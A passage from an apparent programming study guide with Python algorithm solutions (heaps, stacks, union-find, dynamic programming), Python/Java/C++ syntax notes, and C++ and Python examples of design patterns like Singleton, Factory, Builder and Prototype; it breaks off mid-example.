        val, i, node = heapq.heappop(heap)
        current.next = node
        current = current.next

        if node.next:
            heapq.heappush(heap, (node.next.val, i, node.next))

    return dummy.next

# Merge K sorted arrays
def merge_k_sorted_arrays(arrays):
    heap = []
    result = []

    # Initialize heap with first element from each array
    for i, arr in enumerate(arrays):
        if arr:
            heapq.heappush(heap, (arr[0], i, 0))

    while heap:
        val, array_idx, element_idx = heapq.heappop(heap)
        result.append(val)

        if element_idx + 1 < len(arrays[array_idx]):
            next_val = arrays[array_idx][element_idx + 1]
            heapq.heappush(heap, (next_val, array_idx, element_idx + 1))

    return result

# Kth smallest in sorted matrix
def kth_smallest(matrix, k):
    n = len(matrix)
    heap = []

    # Add first element from each row
    for r in range(min(k, n)):
        heapq.heappush(heap, (matrix[r][0], r, 0))

    count = 0
    while heap:
        val, r, c = heapq.heappop(heap)
        count += 1

        if count == k:
            return val

        if c + 1 < n:
            heapq.heappush(heap, (matrix[r][c+1], r, c+1))

    return -1

from collections import deque

# Next greater element
def next_greater_element(nums):
    result = [-1] * len(nums)
    stack = []

    for i in range(len(nums)):
        while stack and nums[stack[-1]] < nums[i]:
            idx = stack.pop()
            result[idx] = nums[i]
        stack.append(i)

    return result

# Daily temperatures
def daily_temperatures(temperatures):
    result = [0] * len(temperatures)
    stack = []

    for i, temp in enumerate(temperatures):
        while stack and temperatures[stack[-1]] < temp:
            prev_idx = stack.pop()
            result[prev_idx] = i - prev_idx
        stack.append(i)

    return result

# Largest rectangle in histogram
def largest_rectangle_area(heights):
    stack = []
    max_area = 0
    heights.append(0)

    for i, h in enumerate(heights):
        while stack and heights[stack[-1]] > h:
            height = heights[stack.pop()]
            width = i if not stack else i - stack[-1] - 1
            max_area = max(max_area, height * width)
        stack.append(i)

    return max_area

# Sliding window maximum
def max_sliding_window(nums, k):
    result = []
    dq = deque()  # stores indices

    for i, num in enumerate(nums):
        # Remove elements outside window
        if dq and dq[0] < i - k + 1:
            dq.popleft()

        # Remove smaller elements
        while dq and nums[dq[-1]] < num:
            dq.pop()

        dq.append(i)

        if i >= k - 1:
            result.append(nums[dq[0]])

    return result

class UnionFind:
    def __init__(self, n):
        self.parent = list(range(n))
        self.rank = [0] * n
        self.count = n

    def find(self, x):
        if self.parent[x] != x:
            self.parent[x] = self.find(self.parent[x])  # Path compression
        return self.parent[x]

    def union(self, x, y):
        px, py = self.find(x), self.find(y)

        if px == py:
            return False

        # Union by rank
        if self.rank[px] < self.rank[py]:
            px, py = py, px

        self.parent[py] = px
        if self.rank[px] == self.rank[py]:
            self.rank[px] += 1

        self.count -= 1
        return True

    def connected(self, x, y):
        return self.find(x) == self.find(y)

# Number of connected components
def count_components(n, edges):
    uf = UnionFind(n)
    for u, v in edges:
        uf.union(u, v)
    return uf.count

# Redundant connection
def find_redundant_connection(edges):
    uf = UnionFind(len(edges) + 1)
    for u, v in edges:
        if not uf.union(u, v):
            return [u, v]
    return []

# Accounts merge
def accounts_merge(accounts):
    from collections import defaultdict

    uf = UnionFind(len(accounts))
    email_to_id = {}

    # Build union-find
    for i, account in enumerate(accounts):
        for email in account[1:]:
            if email in email_to_id:
                uf.union(i, email_to_id[email])
            else:
                email_to_id[email] = i

    # Group emails by component
    components = defaultdict(set)
    for email, idx in email_to_id.items():
        components[uf.find(idx)].add(email)

    # Build result
    result = []
    for idx, emails in components.items():
        result.append([accounts[idx][0]] + sorted(emails))

    return result

# Climbing stairs
def climb_stairs(n):
    if n <= 2:
        return n

    prev2, prev1 = 1, 2
    for i in range(3, n + 1):
        current = prev1 + prev2
        prev2, prev1 = prev1, current

    return prev1

# House robber
def rob(nums):
    if not nums:
        return 0
    if len(nums) == 1:
        return nums[0]

    prev2, prev1 = 0, 0
    for num in nums:
        current = max(prev1, prev2 + num)
        prev2, prev1 = prev1, current

    return prev1

# Longest increasing subsequence
def length_of_lis(nums):
    if not nums:
        return 0

    dp = [1] * len(nums)

    for i in range(1, len(nums)):
        for j in range(i):
            if nums[i] > nums[j]:
                dp[i] = max(dp[i], dp[j] + 1)

    return max(dp)

# Word break
def word_break(s, wordDict):
    word_set = set(wordDict)
    dp = [False] * (len(s) + 1)
    dp[0] = True

    for i in range(1, len(s) + 1):
        for j in range(i):
            if dp[j] and s[j:i] in word_set:
                dp[i] = True
                break

    return dp[len(s)]

# Decode ways
def num_decodings(s):
    if not s or s[0] == '0':
        return 0

    n = len(s)
    dp = [0] * (n + 1)
    dp[0] = dp[1] = 1

    for i in range(2, n + 1):
        # One digit
        if s[i-1] != '0':
            dp[i] += dp[i-1]

        # Two digits
        two_digit = int(s[i-2:i])
        if 10 <= two_digit <= 26:
            dp[i] += dp[i-2]

    return dp[n]

# Unique paths
def unique_paths(m, n):
    dp = [[1] * n for _ in range(m)]

    for i in range(1, m):
        for j in range(1, n):
            dp[i][j] = dp[i-1][j] + dp[i][j-1]

    return dp[m-1][n-1]

# Minimum path sum
def min_path_sum(grid):
    m, n = len(grid), len(grid[0])

    for i in range(m):
        for j in range(n):
            if i == 0 and j == 0:
                continue
            elif i == 0:
                grid[i][j] += grid[i][j-1]
            elif j == 0:
                grid[i][j] += grid[i-1][j]
            else:
                grid[i][j] += min(grid[i-1][j], grid[i][j-1])

    return grid[m-1][n-1]

# Longest common subsequence
def longest_common_subsequence(text1, text2):
    m, n = len(text1), len(text2)
    dp = [[0] * (n + 1) for _ in range(m + 1)]

    for i in range(1, m + 1):
        for j in range(1, n + 1):
            if text1[i-1] == text2[j-1]:
                dp[i][j] = dp[i-1][j-1] + 1
            else:
                dp[i][j] = max(dp[i-1][j], dp[i][j-1])

    return dp[m][n]

# Edit distance
def min_distance(word1, word2):
    m, n = len(word1), len(word2)
    dp = [[0] * (n + 1) for _ in range(m + 1)]

    # Initialize base cases
    for i in range(m + 1):
        dp[i][0] = i
    for j in range(n + 1):
        dp[0][j] = j

    for i in range(1, m + 1):
        for j in range(1, n + 1):
            if word1[i-1] == word2[j-1]:
                dp[i][j] = dp[i-1][j-1]
            else:
                dp[i][j] = 1 + min(
                    dp[i-1][j],    # delete
                    dp[i][j-1],    # insert
                    dp[i-1][j-1]   # replace
                )

    return dp[m][n]

# Regular expression matching
def is_match(s, p):
    m, n = len(s), len(p)
    dp = [[False] * (n + 1) for _ in range(m + 1)]
    dp[0][0] = True

    # Handle patterns like a*, a*b*, etc.
    for j in range(2, n + 1):
        if p[j-1] == '*':
            dp[0][j] = dp[0][j-2]

    for i in range(1, m + 1):
        for j in range(1, n + 1):
            if p[j-1] == s[i-1] or p[j-1] == '.':
                dp[i][j] = dp[i-1][j-1]
            elif p[j-1] == '*':
                dp[i][j] = dp[i][j-2]  # 0 occurrence
                if p[j-2] == s[i-1] or p[j-2] == '.':
                    dp[i][j] |= dp[i-1][j]  # 1+ occurrence

    return dp[m][n]

# 0/1 Knapsack
def knapsack(weights, values, capacity):
    n = len(weights)
    dp = [[0] * (capacity + 1) for _ in range(n + 1)]

    for i in range(1, n + 1):
        for w in range(capacity + 1):
            if weights[i-1] <= w:
                dp[i][w] = max(
                    dp[i-1][w],
                    values[i-1] + dp[i-1][w - weights[i-1]]
                )
            else:
                dp[i][w] = dp[i-1][w]

    return dp[n][capacity]

# Partition equal subset sum
def can_partition(nums):
    total = sum(nums)
    if total % 2 != 0:
        return False

    target = total // 2
    dp = [False] * (target + 1)
    dp[0] = True

    for num in nums:
        for j in range(target, num - 1, -1):
            dp[j] = dp[j] or dp[j - num]

    return dp[target]

# Coin change
def coin_change(coins, amount):
    dp = [float('inf')] * (amount + 1)
    dp[0] = 0

    for i in range(1, amount + 1):
        for coin in coins:
            if coin <= i:
                dp[i] = min(dp[i], dp[i - coin] + 1)

    return dp[amount] if dp[amount] != float('inf') else -1

# Coin change II (number of ways)
def change(amount, coins):
    dp = [0] * (amount + 1)
    dp[0] = 1

    for coin in coins:
        for i in range(coin, amount + 1):
            dp[i] += dp[i - coin]

    return dp[amount]

# List comprehension
squares = [x**2 for x in range(10)]
even_squares = [x**2 for x in range(10) if x % 2 == 0]

# Dictionary comprehension
square_dict = {x: x**2 for x in range(5)}

# Enumerate
for i, val in enumerate(['a', 'b', 'c']):
    print(f"{i}: {val}")

# Zip
for a, b in zip([1, 2, 3], ['a', 'b', 'c']):
    print(f"{a}: {b}")

# Lambda
squared = list(map(lambda x: x**2, [1, 2, 3]))
evens = list(filter(lambda x: x % 2 == 0, range(10)))

# Collections
from collections import defaultdict, Counter, deque
dd = defaultdict(int)
counter = Counter([1, 2, 2, 3, 3, 3])
queue = deque([1, 2, 3])

# Heapq
import heapq
heap = [3, 1, 4, 1, 5]
heapq.heapify(heap)

# Sorting
nums.sort()  # in-place
sorted_nums = sorted(nums)  # returns new list
nums.sort(key=lambda x: (x[0], -x[1]))  # custom key

// ArrayList vs LinkedList
List<Integer> arrayList = new ArrayList<>();  // Fast random access
List<Integer> linkedList = new LinkedList<>();  // Fast insertion/deletion

// HashMap
Map<String, Integer> map = new HashMap<>();
map.put("key", 1);
map.getOrDefault("key", 0);
map.containsKey("key");

// HashSet
Set<Integer> set = new HashSet<>();
set.add(1);
set.contains(1);

// PriorityQueue
PriorityQueue<Integer> minHeap = new PriorityQueue<>();
PriorityQueue<Integer> maxHeap = new PriorityQueue<>((a, b) -> b - a);

// Sorting
Collections.sort(list);
Collections.sort(list, (a, b) -> a - b);
Arrays.sort(array);

// StringBuilder
StringBuilder sb = new StringBuilder();
sb.append("text");
String result = sb.toString();

// Vector
vector<int> vec = {1, 2, 3};
vec.push_back(4);
vec.pop_back();

// Unordered map
unordered_map<string, int> map;
map["key"] = 1;
map.count("key");

// Set
set<int> s = {1, 2, 3};
s.insert(4);
s.erase(1);

// Priority queue
priority_queue<int> maxHeap;
priority_queue<int, vector<int>, greater<int>> minHeap;

// Sorting
sort(vec.begin(), vec.end());
sort(vec.begin(), vec.end(), greater<int>());
sort(vec.begin(), vec.end(), [](int a, int b) { return a > b; });

// Lambda
auto sum = [](int a, int b) { return a + b; };

#include <iostream>
#include <mutex>
#include <memory>

class DatabaseConnection {
public:
    // Get the singleton instance
    static DatabaseConnection& getInstance() {
        // C++11 guarantees thread-safe initialization of static local variables
        static DatabaseConnection instance;
        return instance;
    }

    // Delete copy constructor and assignment operator
    DatabaseConnection(const DatabaseConnection&) = delete;
    DatabaseConnection& operator=(const DatabaseConnection&) = delete;

    void connect(const std::string& connectionString) {
        std::lock_guard<std::mutex> lock(mutex_);
        if (!connected_) {
            std::cout << "Connecting to database: " << connectionString << std::endl;
            connected_ = true;
        }
    }

    void query(const std::string& sql) {
        std::lock_guard<std::mutex> lock(mutex_);
        if (connected_) {
            std::cout << "Executing: " << sql << std::endl;
        } else {
            std::cout << "Not connected!" << std::endl;
        }
    }

private:
    DatabaseConnection() : connected_(false) {
        std::cout << "DatabaseConnection instance created" << std::endl;
    }

    ~DatabaseConnection() {
        std::cout << "DatabaseConnection instance destroyed" << std::endl;
    }

    bool connected_;
    std::mutex mutex_;
};

// Usage
int main() {
    // All these calls return the same instance
    DatabaseConnection::getInstance().connect("server=localhost;db=mydb");
    DatabaseConnection::getInstance().query("SELECT * FROM users");

    DatabaseConnection& db1 = DatabaseConnection::getInstance();
    DatabaseConnection& db2 = DatabaseConnection::getInstance();

    std::cout << "Same instance? " << (&db1 == &db2 ? "Yes" : "No") << std::endl;

    return 0;
}

import threading

class DatabaseConnection:
    """Thread-safe singleton using double-checked locking"""
    _instance = None
    _lock = threading.Lock()

    def __new__(cls):
        if cls._instance is None:
            with cls._lock:
                # Double-checked locking
                if cls._instance is None:
                    cls._instance = super().__new__(cls)
                    cls._instance._initialized = False
        return cls._instance

    def __init__(self):
        if not self._initialized:
            self.connected = False
            self._initialized = True
            print("DatabaseConnection instance created")

    def connect(self, connection_string):
        if not self.connected:
            print(f"Connecting to database: {connection_string}")
            self.connected = True

    def query(self, sql):
        if self.connected:
            print(f"Executing: {sql}")
        else:
            print("Not connected!")

# Python decorator approach (cleaner)
def singleton(cls):
    instances = {}
    lock = threading.Lock()

    def get_instance(*args, **kwargs):
        if cls not in instances:
            with lock:
                if cls not in instances:
                    instances[cls] = cls(*args, **kwargs)
        return instances[cls]

    return get_instance

@singleton
class Logger:
    def __init__(self):
        self.log_file = "app.log"
        print("Logger initialized")

    def log(self, message):
        print(f"[LOG] {message}")

# Usage
db1 = DatabaseConnection()
db2 = DatabaseConnection()
print(f"Same instance? {db1 is db2}")  # True

logger1 = Logger()
logger2 = Logger()
print(f"Same logger? {logger1 is logger2}")  # True

#include <iostream>
#include <memory>
#include <string>

// Product interface
class Transport {
public:
    virtual ~Transport() = default;
    virtual void deliver() = 0;
    virtual std::string getType() const = 0;
};

// Concrete Products
class Truck : public Transport {
public:
    void deliver() override {
        std::cout << "Delivering by land in a box" << std::endl;
    }

    std::string getType() const override {
        return "Truck";
    }
};

class Ship : public Transport {
public:
    void deliver() override {
        std::cout << "Delivering by sea in a container" << std::endl;
    }

    std::string getType() const override {
        return "Ship";
    }
};

class Airplane : public Transport {
public:
    void deliver() override {
        std::cout << "Delivering by air in a cargo hold" << std::endl;
    }

    std::string getType() const override {
        return "Airplane";
    }
};

// Creator (Factory)
class Logistics {
public:
    virtual ~Logistics() = default;

    // Factory method
    virtual std::unique_ptr<Transport> createTransport() = 0;

    void planDelivery() {
        auto transport = createTransport();
        std::cout << "Planning delivery using " << transport->getType() << std::endl;
        transport->deliver();
    }
};

// Concrete Creators
class RoadLogistics : public Logistics {
public:
    std::unique_ptr<Transport> createTransport() override {
        return std::make_unique<Truck>();
    }
};

class SeaLogistics : public Logistics {
public:
    std::unique_ptr<Transport> createTransport() override {
        return std::make_unique<Ship>();
    }
};

class AirLogistics : public Logistics {
public:
    std::unique_ptr<Transport> createTransport() override {
        return std::make_unique<Airplane>();
    }
};

// Usage
int main() {
    std::unique_ptr<Logistics> logistics;

    logistics = std::make_unique<RoadLogistics>();
    logistics->planDelivery();

    logistics = std::make_unique<SeaLogistics>();
    logistics->planDelivery();

    logistics = std::make_unique<AirLogistics>();
    logistics->planDelivery();

    return 0;
}

from abc import ABC, abstractmethod
from typing import Protocol

# Product interface
class Transport(ABC):
    @abstractmethod
    def deliver(self) -> None:
        pass

    @abstractmethod
    def get_type(self) -> str:
        pass

# Concrete Products
class Truck(Transport):
    def deliver(self) -> None:
        print("Delivering by land in a box")

    def get_type(self) -> str:
        return "Truck"

class Ship(Transport):
    def deliver(self) -> None:
        print("Delivering by sea in a container")

    def get_type(self) -> str:
        return "Ship"

class Airplane(Transport):
    def deliver(self) -> None:
        print("Delivering by air in a cargo hold")

    def get_type(self) -> str:
        return "Airplane"

# Creator (Factory)
class Logistics(ABC):
    @abstractmethod
    def create_transport(self) -> Transport:
        """Factory method"""
        pass

    def plan_delivery(self) -> None:
        transport = self.create_transport()
        print(f"Planning delivery using {transport.get_type()}")
        transport.deliver()

# Concrete Creators
class RoadLogistics(Logistics):
    def create_transport(self) -> Transport:
        return Truck()

class SeaLogistics(Logistics):
    def create_transport(self) -> Transport:
        return Ship()

class AirLogistics(Logistics):
    def create_transport(self) -> Transport:
        return Airplane()

# Usage
if __name__ == "__main__":
    logistics = RoadLogistics()
    logistics.plan_delivery()

    logistics = SeaLogistics()
    logistics.plan_delivery()

    logistics = AirLogistics()
    logistics.plan_delivery()

#include <iostream>
#include <memory>
#include <string>

// Abstract Products
class Button {
public:
    virtual ~Button() = default;
    virtual void paint() = 0;
    virtual std::string getStyle() const = 0;
};

class Checkbox {
public:
    virtual ~Checkbox() = default;
    virtual void paint() = 0;
    virtual std::string getStyle() const = 0;
};

class TextField {
public:
    virtual ~TextField() = default;
    virtual void paint() = 0;
    virtual std::string getStyle() const = 0;
};

// Windows Products
class WindowsButton : public Button {
public:
    void paint() override {
        std::cout << "Rendering Windows-style button" << std::endl;
    }

    std::string getStyle() const override {
        return "Windows";
    }
};

class WindowsCheckbox : public Checkbox {
public:
    void paint() override {
        std::cout << "Rendering Windows-style checkbox" << std::endl;
    }

    std::string getStyle() const override {
        return "Windows";
    }
};

class WindowsTextField : public TextField {
public:
    void paint() override {
        std::cout << "Rendering Windows-style text field" << std::endl;
    }

    std::string getStyle() const override {
        return "Windows";
    }
};

// Mac Products
class MacButton : public Button {
public:
    void paint() override {
        std::cout << "Rendering Mac-style button" << std::endl;
    }

    std::string getStyle() const override {
        return "Mac";
    }
};

class MacCheckbox : public Checkbox {
public:
    void paint() override {
        std::cout << "Rendering Mac-style checkbox" << std::endl;
    }

    std::string getStyle() const override {
        return "Mac";
    }
};

class MacTextField : public TextField {
public:
    void paint() override {
        std::cout << "Rendering Mac-style text field" << std::endl;
    }

    std::string getStyle() const override {
        return "Mac";
    }
};

// Abstract Factory
class GUIFactory {
public:
    virtual ~GUIFactory() = default;
    virtual std::unique_ptr<Button> createButton() = 0;
    virtual std::unique_ptr<Checkbox> createCheckbox() = 0;
    virtual std::unique_ptr<TextField> createTextField() = 0;
};

// Concrete Factories
class WindowsFactory : public GUIFactory {
public:
    std::unique_ptr<Button> createButton() override {
        return std::make_unique<WindowsButton>();
    }

    std::unique_ptr<Checkbox> createCheckbox() override {
        return std::make_unique<WindowsCheckbox>();
    }

    std::unique_ptr<TextField> createTextField() override {
        return std::make_unique<WindowsTextField>();
    }
};

class MacFactory : public GUIFactory {
public:
    std::unique_ptr<Button> createButton() override {
        return std::make_unique<MacButton>();
    }

    std::unique_ptr<Checkbox> createCheckbox() override {
        return std::make_unique<MacCheckbox>();
    }

    std::unique_ptr<TextField> createTextField() override {
        return std::make_unique<MacTextField>();
    }
};

// Client code
class Application {
public:
    Application(std::unique_ptr<GUIFactory> factory)
        : factory_(std::move(factory)) {}

    void createUI() {
        button_ = factory_->createButton();
        checkbox_ = factory_->createCheckbox();
        textField_ = factory_->createTextField();
    }

    void paint() {
        button_->paint();
        checkbox_->paint();
        textField_->paint();
    }

private:
    std::unique_ptr<GUIFactory> factory_;
    std::unique_ptr<Button> button_;
    std::unique_ptr<Checkbox> checkbox_;
    std::unique_ptr<TextField> textField_;
};

// Usage
int main() {
    std::string osType = "Windows"; // Could be detected at runtime

    std::unique_ptr<GUIFactory> factory;

    if (osType == "Windows") {
        factory = std::make_unique<WindowsFactory>();
    } else {
        factory = std::make_unique<MacFactory>();
    }

    Application app(std::move(factory));
    app.createUI();
    app.paint();

    return 0;
}

from abc import ABC, abstractmethod

# Abstract Products
class Button(ABC):
    @abstractmethod
    def paint(self) -> None:
        pass

    @abstractmethod
    def get_style(self) -> str:
        pass

class Checkbox(ABC):
    @abstractmethod
    def paint(self) -> None:
        pass

    @abstractmethod
    def get_style(self) -> str:
        pass

class TextField(ABC):
    @abstractmethod
    def paint(self) -> None:
        pass

    @abstractmethod
    def get_style(self) -> str:
        pass

# Windows Products
class WindowsButton(Button):
    def paint(self) -> None:
        print("Rendering Windows-style button")

    def get_style(self) -> str:
        return "Windows"

class WindowsCheckbox(Checkbox):
    def paint(self) -> None:
        print("Rendering Windows-style checkbox")

    def get_style(self) -> str:
        return "Windows"

class WindowsTextField(TextField):
    def paint(self) -> None:
        print("Rendering Windows-style text field")

    def get_style(self) -> str:
        return "Windows"

# Mac Products
class MacButton(Button):
    def paint(self) -> None:
        print("Rendering Mac-style button")

    def get_style(self) -> str:
        return "Mac"

class MacCheckbox(Checkbox):
    def paint(self) -> None:
        print("Rendering Mac-style checkbox")

    def get_style(self) -> str:
        return "Mac"

class MacTextField(TextField):
    def paint(self) -> None:
        print("Rendering Mac-style text field")

    def get_style(self) -> str:
        return "Mac"

# Abstract Factory
class GUIFactory(ABC):
    @abstractmethod
    def create_button(self) -> Button:
        pass

    @abstractmethod
    def create_checkbox(self) -> Checkbox:
        pass

    @abstractmethod
    def create_text_field(self) -> TextField:
        pass

# Concrete Factories
class WindowsFactory(GUIFactory):
    def create_button(self) -> Button:
        return WindowsButton()

    def create_checkbox(self) -> Checkbox:
        return WindowsCheckbox()

    def create_text_field(self) -> TextField:
        return WindowsTextField()

class MacFactory(GUIFactory):
    def create_button(self) -> Button:
        return MacButton()

    def create_checkbox(self) -> Checkbox:
        return MacCheckbox()

    def create_text_field(self) -> TextField:
        return MacTextField()

# Client code
class Application:
    def __init__(self, factory: GUIFactory):
        self.factory = factory
        self.button = None
        self.checkbox = None
        self.text_field = None

    def create_ui(self) -> None:
        self.button = self.factory.create_button()
        self.checkbox = self.factory.create_checkbox()
        self.text_field = self.factory.create_text_field()

    def paint(self) -> None:
        self.button.paint()
        self.checkbox.paint()
        self.text_field.paint()

# Usage
if __name__ == "__main__":
    import platform

    os_type = platform.system()

    if os_type == "Windows":
        factory = WindowsFactory()
    else:
        factory = MacFactory()

    app = Application(factory)
    app.create_ui()
    app.paint()

#include <iostream>
#include <string>
#include <vector>
#include <memory>

// Product
class Pizza {
public:
    void setDough(const std::string& dough) { dough_ = dough; }
    void setSauce(const std::string& sauce) { sauce_ = sauce; }
    void setCheese(const std::string& cheese) { cheese_ = cheese; }
    void addTopping(const std::string& topping) { toppings_.push_back(topping); }
    void setSize(const std::string& size) { size_ = size; }
    void setCrust(const std::string& crust) { crust_ = crust; }

    void describe() const {
        std::cout << "Pizza:" << std::endl;
        std::cout << "  Size: " << size_ << std::endl;
        std::cout << "  Dough: " << dough_ << std::endl;
        std::cout << "  Crust: " << crust_ << std::endl;
        std::cout << "  Sauce: " << sauce_ << std::endl;
        std::cout << "  Cheese: " << cheese_ << std::endl;
        std::cout << "  Toppings: ";
        for (const auto& topping : toppings_) {
            std::cout << topping << " ";
        }
        std::cout << std::endl;
    }

private:
    std::string dough_;
    std::string sauce_;
    std::string cheese_;
    std::vector<std::string> toppings_;
    std::string size_;
    std::string crust_;
};

// Abstract Builder
class PizzaBuilder {
public:
    virtual ~PizzaBuilder() = default;

    virtual void buildDough() = 0;
    virtual void buildSauce() = 0;
    virtual void buildCheese() = 0;
    virtual void buildToppings() = 0;
    virtual void buildSize() = 0;
    virtual void buildCrust() = 0;

    std::unique_ptr<Pizza> getPizza() { return std::move(pizza_); }

    void reset() { pizza_ = std::make_unique<Pizza>(); }

protected:
    std::unique_ptr<Pizza> pizza_;
};

// Concrete Builder 1
class MargheritaPizzaBuilder : public PizzaBuilder {
public:
    MargheritaPizzaBuilder() { reset(); }

    void buildDough() override {
        pizza_->setDough("Thin crust dough");
    }

    void buildSauce() override {
        pizza_->setSauce("Tomato sauce");
    }

    void buildCheese() override {
        pizza_->setCheese("Mozzarella");
    }

    void buildToppings() override {
        pizza_->addTopping("Fresh basil");
        pizza_->addTopping("Tomato slices");
    }

    void buildSize() override {
        pizza_->setSize("Medium");
    }

    void buildCrust() override {
        pizza_->setCrust("Regular");
    }
};

// Concrete Builder 2
class PepperoniPizzaBuilder : public PizzaBuilder {
public:
    PepperoniPizzaBuilder() { reset(); }

    void buildDough() override {
        pizza_->setDough("Thick crust dough");
    }

    void buildSauce() override {
        pizza_->setSauce("Spicy tomato sauce");
    }

    void buildCheese() override {
        pizza_->setCheese("Extra mozzarella");
    }

    void buildToppings() override {
        pizza_->addTopping("Pepperoni");
        pizza_->addTopping("Mushrooms");
        pizza_->addTopping("Olives");
    }

    void buildSize() override {
        pizza_->setSize("Large");
    }

    void buildCrust() override {
        pizza_->setCrust("Stuffed");
    }
};

// Director (optional but useful for complex builds)
class PizzaDirector {
public:
    void setBuilder(PizzaBuilder* builder) {
        builder_ = builder;
    }

    void makePizza() {
        builder_->buildSize();
        builder_->buildDough();
        builder_->buildCrust();
        builder_->buildSauce();
        builder_->buildCheese();
        builder_->buildToppings();
    }

private:
    PizzaBuilder* builder_;
};

// Fluent Builder Interface (Modern C++ approach)
class FluentPizzaBuilder {
public:
    FluentPizzaBuilder() : pizza_(std::make_unique<Pizza>()) {}

    FluentPizzaBuilder& setSize(const std::string& size) {
        pizza_->setSize(size);
        return *this;
    }

    FluentPizzaBuilder& setDough(const std::string& dough) {
        pizza_->setDough(dough);
        return *this;
    }

    FluentPizzaBuilder& setCrust(const std::string& crust) {
        pizza_->setCrust(crust);
        return *this;
    }

    FluentPizzaBuilder& setSauce(const std::string& sauce) {
        pizza_->setSauce(sauce);
        return *this;
    }

    FluentPizzaBuilder& setCheese(const std::string& cheese) {
        pizza_->setCheese(cheese);
        return *this;
    }

    FluentPizzaBuilder& addTopping(const std::string& topping) {
        pizza_->addTopping(topping);
        return *this;
    }

    std::unique_ptr<Pizza> build() {
        return std::move(pizza_);
    }

private:
    std::unique_ptr<Pizza> pizza_;
};

// Usage
int main() {
    // Traditional approach with director
    PizzaDirector director;

    MargheritaPizzaBuilder margheritaBuilder;
    director.setBuilder(&margheritaBuilder);
    director.makePizza();
    auto margherita = margheritaBuilder.getPizza();
    margherita->describe();

    std::cout << "\n---\n\n";

    PepperoniPizzaBuilder pepperoniBuilder;
    director.setBuilder(&pepperoniBuilder);
    director.makePizza();
    auto pepperoni = pepperoniBuilder.getPizza();
    pepperoni->describe();

    std::cout << "\n---\n\n";

    // Fluent interface approach
    auto customPizza = FluentPizzaBuilder()
        .setSize("Extra Large")
        .setDough("Whole wheat")
        .setCrust("Thin")
        .setSauce("BBQ sauce")
        .setCheese("Cheddar")
        .addTopping("Chicken")
        .addTopping("Onions")
        .addTopping("Peppers")
        .build();

    customPizza->describe();

    return 0;
}

from typing import List
from abc import ABC, abstractmethod

# Product
class Pizza:
    def __init__(self):
        self.dough = ""
        self.sauce = ""
        self.cheese = ""
        self.toppings: List[str] = []
        self.size = ""
        self.crust = ""

    def describe(self) -> None:
        print("Pizza:")
        print(f"  Size: {self.size}")
        print(f"  Dough: {self.dough}")
        print(f"  Crust: {self.crust}")
        print(f"  Sauce: {self.sauce}")
        print(f"  Cheese: {self.cheese}")
        print(f"  Toppings: {', '.join(self.toppings)}")

# Abstract Builder
class PizzaBuilder(ABC):
    def __init__(self):
        self.reset()

    def reset(self) -> None:
        self._pizza = Pizza()

    @abstractmethod
    def build_dough(self) -> None:
        pass

    @abstractmethod
    def build_sauce(self) -> None:
        pass

    @abstractmethod
    def build_cheese(self) -> None:
        pass

    @abstractmethod
    def build_toppings(self) -> None:
        pass

    @abstractmethod
    def build_size(self) -> None:
        pass

    @abstractmethod
    def build_crust(self) -> None:
        pass

    def get_pizza(self) -> Pizza:
        pizza = self._pizza
        self.reset()
        return pizza

# Concrete Builders
class MargheritaPizzaBuilder(PizzaBuilder):
    def build_dough(self) -> None:
        self._pizza.dough = "Thin crust dough"

    def build_sauce(self) -> None:
        self._pizza.sauce = "Tomato sauce"

    def build_cheese(self) -> None:
        self._pizza.cheese = "Mozzarella"

    def build_toppings(self) -> None:
        self._pizza.toppings = ["Fresh basil", "Tomato slices"]

    def build_size(self) -> None:
        self._pizza.size = "Medium"

    def build_crust(self) -> None:
        self._pizza.crust = "Regular"

class PepperoniPizzaBuilder(PizzaBuilder):
    def build_dough(self) -> None:
        self._pizza.dough = "Thick crust dough"

    def build_sauce(self) -> None:
        self._pizza.sauce = "Spicy tomato sauce"

    def build_cheese(self) -> None:
        self._pizza.cheese = "Extra mozzarella"

    def build_toppings(self) -> None:
        self._pizza.toppings = ["Pepperoni", "Mushrooms", "Olives"]

    def build_size(self) -> None:
        self._pizza.size = "Large"

    def build_crust(self) -> None:
        self._pizza.crust = "Stuffed"

# Director
class PizzaDirector:
    def __init__(self, builder: PizzaBuilder = None):
        self._builder = builder

    def set_builder(self, builder: PizzaBuilder) -> None:
        self._builder = builder

    def make_pizza(self) -> None:
        self._builder.build_size()
        self._builder.build_dough()
        self._builder.build_crust()
        self._builder.build_sauce()
        self._builder.build_cheese()
        self._builder.build_toppings()

# Fluent Builder (Pythonic approach)
class FluentPizzaBuilder:
    def __init__(self):
        self._pizza = Pizza()

    def set_size(self, size: str):
        self._pizza.size = size
        return self

    def set_dough(self, dough: str):
        self._pizza.dough = dough
        return self

    def set_crust(self, crust: str):
        self._pizza.crust = crust
        return self

    def set_sauce(self, sauce: str):
        self._pizza.sauce = sauce
        return self

    def set_cheese(self, cheese: str):
        self._pizza.cheese = cheese
        return self

    def add_topping(self, topping: str):
        self._pizza.toppings.append(topping)
        return self

    def build(self) -> Pizza:
        return self._pizza

# Usage
if __name__ == "__main__":
    # Traditional approach with director
    director = PizzaDirector()

    margherita_builder = MargheritaPizzaBuilder()
    director.set_builder(margherita_builder)
    director.make_pizza()
    margherita = margherita_builder.get_pizza()
    margherita.describe()

    print("\n---\n")

    pepperoni_builder = PepperoniPizzaBuilder()
    director.set_builder(pepperoni_builder)
    director.make_pizza()
    pepperoni = pepperoni_builder.get_pizza()
    pepperoni.describe()

    print("\n---\n")

    # Fluent interface approach
    custom_pizza = (FluentPizzaBuilder()
        .set_size("Extra Large")
        .set_dough("Whole wheat")
        .set_crust("Thin")
        .set_sauce("BBQ sauce")
        .set_cheese("Cheddar")
        .add_topping("Chicken")
        .add_topping("Onions")
        .add_topping("Peppers")
        .build())

    custom_pizza.describe()

#include <iostream>
#include <memory>
#include <string>
#include <unordered_map>

// Prototype interface
class Shape {
public:
    virtual ~Shape() = default;
    virtual std::unique_ptr<Shape> clone() const = 0;
    virtual void draw() const = 0;
    virtual std::string getType() const = 0;

    // Common properties
    int x_, y_;
    std::string color_;

protected:
    Shape() : x_(0), y_(0), color_("black") {}
    Shape(int x, int y, const std::string& color)
        : x_(x), y_(y), color_(color) {}
};

// Concrete Prototype 1
class Circle : public Shape {
public:
    int radius_;

    Circle() : Shape(), radius_(10) {}

    Circle(int x, int y, const std::string& color, int radius)
        : Shape(x, y, color), radius_(radius) {}

    // Copy constructor
    Circle(const Circle& other)
        : Shape(other.x_, other.y_, other.color_), radius_(other.radius_) {
        std::cout << "Circle copied" << std::endl;
    }

    std::unique_ptr<Shape> clone() const override {
        return std::make_unique<Circle>(*this);
    }

    void draw() const override {
